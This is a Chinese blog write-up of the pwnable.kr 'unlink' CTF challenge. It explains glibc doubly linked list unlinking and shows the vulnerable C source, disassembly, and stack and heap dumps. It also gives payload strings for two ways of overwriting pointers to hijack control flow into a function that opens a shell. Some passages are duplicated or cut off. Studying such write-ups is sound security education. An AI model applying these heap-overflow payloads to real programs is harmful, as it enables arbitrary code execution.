全面剖析Pwnable.kr unlink
2017-08-10 17:56
435 查看
最近一直在学习堆方面的知识,unlink是CTF中考察堆方面知识的重点.于是就拿一道简单的例题来剖析一下.堆方面的PWN对内存的分配和回收机制要求比较高,也是CTF中压轴题.
漏洞分析
漏洞利用
Write Up及相关链接
glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据。
在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了
tip:程序跑起来后会给出两个地址,一个是heap地址,另一个就是stack地址.heap地址对应的是malloc分配的地址,stack对应着A的存储的位置.举个简单的例子就是,A是一个指针(提到指针,有些人会觉得头大),heap是A指向的内容(heap地址),stack地址就是存储A指针的地址.
从这段汇编代码中我们可以发现,能够修改的
讲解:输入过多的数据,使其覆盖到B的FD和BK两个指针.修改[EBP-0x4]为heap+0x12.
unlink函数执行之前:
unlink执行之后
对着汇编语言进行一步一步分析:
为什么会这样呢?
原因出现在我们为B设置的两个指针,FD和BK.前面提到
这就将
我简述一下区别:方法二实在unlink函数中红将EBP修改为
对应汇编代码带数据的分析:
这个就和栈那边没太大关系了.
为什么会这样呢?
修改成功
答:如何可以的修改的话,对应的
由于unlink
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
目录:
知识简介漏洞分析
漏洞利用
Write Up及相关链接
知识简介:
为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据。glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据。
在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了
程序分析
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ { struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell()//shell函数,shell_addr = 0x080484eb { system("/bin/sh"); } void unlink(OBJ* P) //漏洞函数 { OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; //方法一 BK->fd=FD; //方法二 } int main(int argc, char* argv[]) { malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); //gets函数不检查输入长度,因此我们可以对结构A进行溢出 // exploit this unlink! unlink(B); return 0; }
漏洞利用
总体思想:main函数结束时,跳入shell函数.tip:程序跑起来后会给出两个地址,一个是heap地址,另一个就是stack地址.heap地址对应的是malloc分配的地址,stack对应着A的存储的位置.举个简单的例子就是,A是一个指针(提到指针,有些人会觉得头大),heap是A指向的内容(heap地址),stack地址就是存储A指针的地址.
80485f2: e8 0d ff ff ff call 8048504 <unlink> 80485f7: 83 c4 10 add $0x10,%esp 80485fa: b8 00 00 00 00 mov $0x0,%eax ``` 80485ff: 8b 4d fc mov -0x4(%ebp),%ecx 8048602: c9 leave 8048603: 8d 61 fc lea -0x4(%ecx),%esp 8048606: c3 ret ```
从这段汇编代码中我们可以发现,能够修改的
方法一:修改ECX
heap_addr : 程序给出的堆地址 stack_addr: 程序给出栈地址 shell_addr :shell的地址0x080484eb EBP = stack_addr + 0x14
讲解:输入过多的数据,使其覆盖到B的FD和BK两个指针.修改[EBP-0x4]为heap+0x12.
unlink函数执行之前:
栈的内存分布情况 0xffffcf14: 0x0804b410 0x0804b440 0x0804b428 0xf7fa93dc 0xffffcf24: 0xffffcf40 0x00000000 0xf7e11637 0xf7fa9000 0xffffcf34: 0xf7fa9000 0x00000000 0xf7e11637 0x00000001 A:0x0804b410 B:0x0804b440 C:0x0804b428 EBP:0xffffcf28 堆的内存分布情况 0x804b410: 0x0804b428 0x00000000 0x080484eb 0x41414141 0x804b420: 0x41414141 0x41414141 0x0804b41c 0xffffcf24 0x804b430: 0x00000000 0x00000000 0x00000000 0x00000019 0x804b440: 0x00000000 0x0804b428 0x00000000 0x00000000
unlink执行之后
栈的内存分布情况 0xffffcf14: 0x0804b410 0x0804b440 0x0804b428 0xf7fa93dc 0xffffcf24: 0x0804b41c 0x00000000 0xf7e11637 0xf7fa9000 0xffffcf34: 0xf7fa9000 0x00000000 0xf7e11637 0x00000001 0xffffcf44: 0xffffcfd4 0xffffcfdc 0x00000000 0x00000000 堆的内存分布情况 0x804b410: 0x0804b428 0x00000000 0x080484eb 0x32323232 0x804b420: 0xffffcf24 0x34343434 0x0804b41c 0xffffcf24 0x804b430: 0x00000000 0x00000000 0x00000000 0x00000019 0x804b440: 0x00000000 0x0804b428 0x00000000 0x00000000
对着汇编语言进行一步一步分析:
80485ff: 8b 4d fc mov -0x4(%ebp),%ecx ;ecx = [ebp-0x4]=0x0804b41c 8048602: c9 leave 8048603: 8d 61 fc lea -0x4(%ecx),%esp ;esp = ecx-0x4 =0x0804b418 8048606: c3 ret ;esp处有我们输入的shell的地址,成功跳转.
为什么会这样呢?
原因出现在我们为B设置的两个指针,FD和BK.前面提到
EBP-0x4=stack + 0x10,我们A的buf地址为
Heap+0x8,令
ESP=Heap+0x8,则
ECX = ESP + 0x4(前面汇编代码得).
FD->bk=BK;----->[B->fd]=[stack+0x10]=BK=B->bk=heap_addr + 0xC BK->fd=FD;(方法二要用到)
这就将
EBP-0x4处的内容写为了
Heap+0xC,后面的事情就和前面汇编语言分析的一样了.
方法二:修改EBP
payload = p32(shell)+p32(heap+12)+"A"*8+p32(stack-0x20)+p32(heap+0x10)
我简述一下区别:方法二实在unlink函数中红将EBP修改为
Heap+0x10.
堆内存分布情况: 0x804b410: 0x0804b428 0x00000000 0x080484eb 0x0804b41c 0x804b420: 0x41414141 0xffffcef4 0xffffcef4 0x0804b424 0x804b430: 0x00000000 0x00000000 0x00000000 0x00000019 0x804b440: 0x00000000 0x0804b428 0x00000000 0x00000000
对应汇编代码带数据的分析:
EBP=0x804b424 80485ff: 8b 4d fc mov -0x4(%ebp),%ecx ;ecx = [ebp-0x4]=[0x804b424-0x4]=0x0804b41c 8048602: c9 leave 8048603: 8d 61 fc lea -0x4(%ecx),%esp ;esp = ecx-0x4 =0x0804b418 8048606: c3 ret ;esp处有我们输入的shell的地址,成功跳转.
这个就和栈那边没太大关系了.
为什么会这样呢?
FD->bk=BK; //方法一 BK->fd=FD; //方法二 [B->bk]=[stack-0x20]=EBP=B->FD=heap+0x10
修改成功
其他问题:
为什么不直接修改main函数的返回地址为shell地址呢?答:如何可以的修改的话,对应的
payload = p32(shell_addr)+'A'*12+p32(shell_addr)+p32(stack_addr+0x10) 或 payload = p32(shell_addr)+'A'*12+p32(stack_addr+0x10)+p32(shell_addr)
由于unlink
FD->bk=BK;BK->fd=FD;,当你将返回值修改之前,或之后,程序会将shell对应的地址破坏掉,造成即使修改成了shell的地址,也不会有shell出现.
相关Write Up及资料
http://weaponx.site/2017/02/21/unlink-Writeup-pwnable-kr/https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
相关文章推荐
- pwnable.kr writeup之unlink
- pwnable.kr [Toddler's Bottle] - collision
- 全面剖析C#接口编程之接口概述
- pwnable.kr [Toddler's Bottle] - blackjack
- memcached全面剖析
- pwnable.kr - simple login
- pwnable.kr之shellshock
- memcached全面剖析
- UML类图关系全面剖析
- memcached全面剖析–5. memcached的应用和兼容程序
- memcached全面剖析–4. memcached的分布式算法
- 史上最全的言情小说全面剖析
- Memcached全面剖析–PDF总结篇
- echo1(Pwnable.kr)
- memcached全面剖析–memcached的应用和兼容程序
- Memcached全面剖析–总结篇
- Android动画全面剖析-属性动画高级用法
- memcached全面剖析–3.memcached的删除机制和发展方向
- memcached全面剖析–5. memcached的应用和兼容程序
- Themida脱壳过程全面剖析+测试文件+视频教程